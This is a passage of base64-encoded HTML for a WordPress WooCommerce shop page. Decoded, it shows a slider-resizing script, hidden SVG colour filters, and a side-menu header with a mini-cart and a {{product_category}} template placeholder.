SB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJ3KTsNCiAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYncgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1idyk7DQogICAgICAgICAgICBlLnRhYmggPSBlLnRhYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmgpOw0KICAgICAgICAgICAgZS50aHVtYmggPSBlLnRodW1iaCA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoKTsNCiAgICAgICAgICAgIGUudGFiaGlkZSA9IGUudGFiaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFiaGlkZSk7DQogICAgICAgICAgICBlLnRodW1iaGlkZSA9IGUudGh1bWJoaWRlID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYmhpZGUpOw0KICAgICAgICAgICAgZS5taCA9IGUubWggPT09IHVuZGVmaW5lZCB8fCBlLm1oID09ICIiIHx8IGUubWggPT09ICJhdXRvIiA/IDAgOiBwYXJzZUludChlLm1oLCAwKTsNCiAgICAgICAgICAgIGlmIChlLmxheW91dCA9PT0gImZ1bGxzY3JlZW4iIHx8IGUubCA9PT0gImZ1bGxzY3JlZW4iKQ0KICAgICAgICAgICAgICAgIG5ld2ggPSBNYXRoLm1heChlLm1oLCB3aW5kb3cuUlNJSCk7DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBlLmd3ID0gQXJyYXkuaXNBcnJheShlLmd3KSA/IGUuZ3cgOiBbZS5nd107DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBpZiAoZS5nd1tpXSA9PT0gdW5kZWZpbmVkIHx8IGUuZ3dbaV0gPT09IDApIGUuZ3dbaV0gPSBlLmd3W2kgLSAxXTsNCiAgICAgICAgICAgICAgICBlLmdoID0gZS5lbCA9PT0gdW5kZWZpbmVkIHx8IGUuZWwgPT09ICIiIHx8IChBcnJheS5pc0FycmF5KGUuZWwpICYmIGUuZWwubGVuZ3RoID09IDApID8gZS5naCA6IGUuZWw7DQogICAgICAgICAgICAgICAgZS5naCA9IEFycmF5LmlzQXJyYXkoZS5naCkgPyBlLmdoIDogW2UuZ2hdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ2hbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmdoW2ldID09PSAwKSBlLmdoW2ldID0gZS5naFtpIC0gMV07DQoNCiAgICAgICAgICAgICAgICB2YXIgbmwgPSBuZXcgQXJyYXkoZS5ybC5sZW5ndGgpLA0KICAgICAgICAgICAgICAgICAgICBpeCA9IDAsDQogICAgICAgICAgICAgICAgICAgIHNsOw0KICAgICAgICAgICAgICAgIGUudGFidyA9IGUudGFiaGlkZSA+PSBwdyA/IDAgOiBlLnRhYnc7DQogICAgICAgICAgICAgICAgZS50aHVtYncgPSBlLnRodW1iaGlkZSA+PSBwdyA/IDAgOiBlLnRodW1idzsNCiAgICAgICAgICAgICAgICBlLnRhYmggPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJoOw0KICAgICAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYmg7DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBubFtpXSA9IGUucmxbaV0gPCB3aW5kb3cuUlNJVyA/IDAgOiBlLnJsW2ldOw0KICAgICAgICAgICAgICAgIHNsID0gbmxbMF07DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBubCkgaWYgKHNsID4gbmxbaV0gJiYgbmxbaV0gPiAwKSB7DQogICAgICAgICAgICAgICAgICAgIHNsID0gbmxbaV07DQogICAgICAgICAgICAgICAgICAgIGl4ID0gaTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG0gPSBwdyA+IChlLmd3W2l4XSArIGUudGFidyArIGUudGh1bWJ3KSA/IDEgOiAocHcgLSAoZS50YWJ3ICsgZS50aHVtYncpKSAvIChlLmd3W2l4XSk7DQogICAgICAgICAgICAgICAgbmV3aCA9IChlLmdoW2l4XSAqIG0pICsgKGUudGFiaCArIGUudGh1bWJoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHZhciBlbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYyk7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMgKyAiX3dyYXBwZXIiKTsNCiAgICAgICAgICAgIGlmIChlbCAhPT0gbnVsbCAmJiBlbCkgew0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICBjb25zb2xlLmxvZygiRmFpbHVyZSBhdCBQcmVzaXplIG9mIFNsaWRlcjoiICsgZSkNCiAgICAgICAgfQ0KICAgICAgICAvL30pOw0KICAgIH07PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iYXJjaGl2ZSBwb3N0LXR5cGUtYXJjaGl2ZSBwb3N0LXR5cGUtYXJjaGl2ZS1wcm9kdWN0IHdwLWVtYmVkLXJlc3BvbnNpdmUgdGhlbWUtcG9ydG8gd29vY29tbWVyY2Utc2hvcCB3b29jb21tZXJjZSB3b29jb21tZXJjZS1wYWdlIHdvb2NvbW1lcmNlLW5vLWpzIGxvZ2luLXBvcHVwIHdpZGUgYmxvZy0xIGJvZHktc2lkZSBlbGVtZW50b3ItZGVmYXVsdCBlbGVtZW50b3Ita2l0LTIxNTIiPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWRhcmstZ3JheXNjYWxlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWdyYXlzY2FsZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1wdXJwbGUteWVsbG93Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTQ5MDE5NjA3ODQzMTQgMC45ODgyMzUyOTQxMTc2NSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjcxNzY0NzA1ODgyMzUzIDAuMjU0OTAxOTYwNzg0MzEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtcmVkIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjI3ODQzMTM3MjU0OTAyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU5MjE1Njg2Mjc0NTEgMC4yNzg0MzEzNzI1NDkwMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWlkbmlnaHQiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjQ3MDU4ODIzNTI5NDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWFnZW50YS15ZWxsb3ciPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43ODAzOTIxNTY4NjI3NSAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuOTQ5MDE5NjA3ODQzMTQiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMzUyOTQxMTc2NDcwNTkgMC40NzA1ODgyMzUyOTQxMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLWdyZWVuIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNjUwOTgwMzkyMTU2ODYgMC40MDM5MjE1Njg2Mjc0NSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjQ0NzA1ODgyMzUyOTQxIDAuNCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1vcmFuZ2UiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4wOTgwMzkyMTU2ODYyNzUgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY2Mjc0NTA5ODAzOTIyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjg0NzA1ODgyMzUyOTQxIDAuNDE5NjA3ODQzMTM3MjUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPGRpdiBjbGFzcz0icGFnZS13cmFwcGVyIHNpZGUtbmF2Ij48IS0tIHBhZ2Ugd3JhcHBlciAtLT4NCg0KICAgIDwhLS0gaGVhZGVyIHdyYXBwZXIgLS0+DQogICAgPGRpdiBjbGFzcz0iaGVhZGVyLXdyYXBwZXIgaGVhZGVyLXNpZGUtbmF2IHNpZGUtbmF2LXdyYXAiPg0KICAgICAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNsYXNzPSJoZWFkZXItc2lkZSBzdGlja3ktbWVudS1oZWFkZXIiIGRhdGEtcGx1Z2luLXN0aWNreQ0KICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDthdXRvSW5pdCZxdW90OzogdHJ1ZSwgJnF1b3Q7bWluV2lkdGgmcXVvdDs6IDk5MiwgJnF1b3Q7Y29udGFpbmVyU2VsZWN0b3ImcXVvdDs6ICZxdW90Oy5wYWdlLXdyYXBwZXImcXVvdDssJnF1b3Q7YXV0b0ZpdCZxdW90Ozp0cnVlLCAmcXVvdDtwYWRkaW5nT2Zmc2V0Qm90dG9tJnF1b3Q7OiAwLCAmcXVvdDtwYWRkaW5nT2Zmc2V0VG9wJnF1b3Q7OiAwfSI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItbWFpbiBzaG93LW1pbmljYXJ0Ij4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dWwgaWQ9Im1lbnUtbWFpbi1tZW51IiBjbGFzcz0ic2lkZWJhci1tZW51Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e3Byb2R1Y3RfY2F0ZWdvcnl9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJtb2JpbGUtdG9nZ2xlIiBhcmlhLWxhYmVsPSJNb2JpbGUgTWVudSIgaHJlZj0iIyI+PGkgY2xhc3M9ImZhcyBmYS1iYXJzIj48L2k+PC9hPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLXhsLW5vbmUgZC1sZy1ub25lIGlubGluZS1ibG9jayI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ibWluaS1jYXJ0IiBjbGFzcz0ibWluaS1jYXJ0IHNpbXBsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtaGVhZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2FydC1pY29uIj48aSBjbGFzcz0ibWluaWNhcnQtaWNvbiBwb3J0by1pY29uLXNob3BwaW5nLWNhcnQiPjwvaT48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcyI+MDwvc3Bhbj48L3NwYW4+PHNwYW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcy10ZXh0Ij4wIGl0ZW1zPC9zcGFuPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJ0LXBvcHVwIHdpZGdldF9zaG9wcGluZ19jYXJ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldF9zaG9wcGluZ19jYXJ0X2NvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtbG9hZGluZyI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2hlYWRlcj4NCg0KICAgIDwvZGl2Pg0KICAgIDwhLS0gZW5kIGhlYWRlciB3cmFwcGVyIC0tPg0KDQogICAgPGRpdiBjbGFzcz0iY29udGVudC13cmFwcGVyIj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJiYW5uZXItY29udGFpbmVyIG15LWJhbm5lciI+DQogICAgICAgICAgICA8ZGl2IGlkPSJiYW5uZXItd3JhcHBlciIgY2xhc3M9IiI+DQogICAgICAgICAgICAgICAgPHN0eWxlPi5l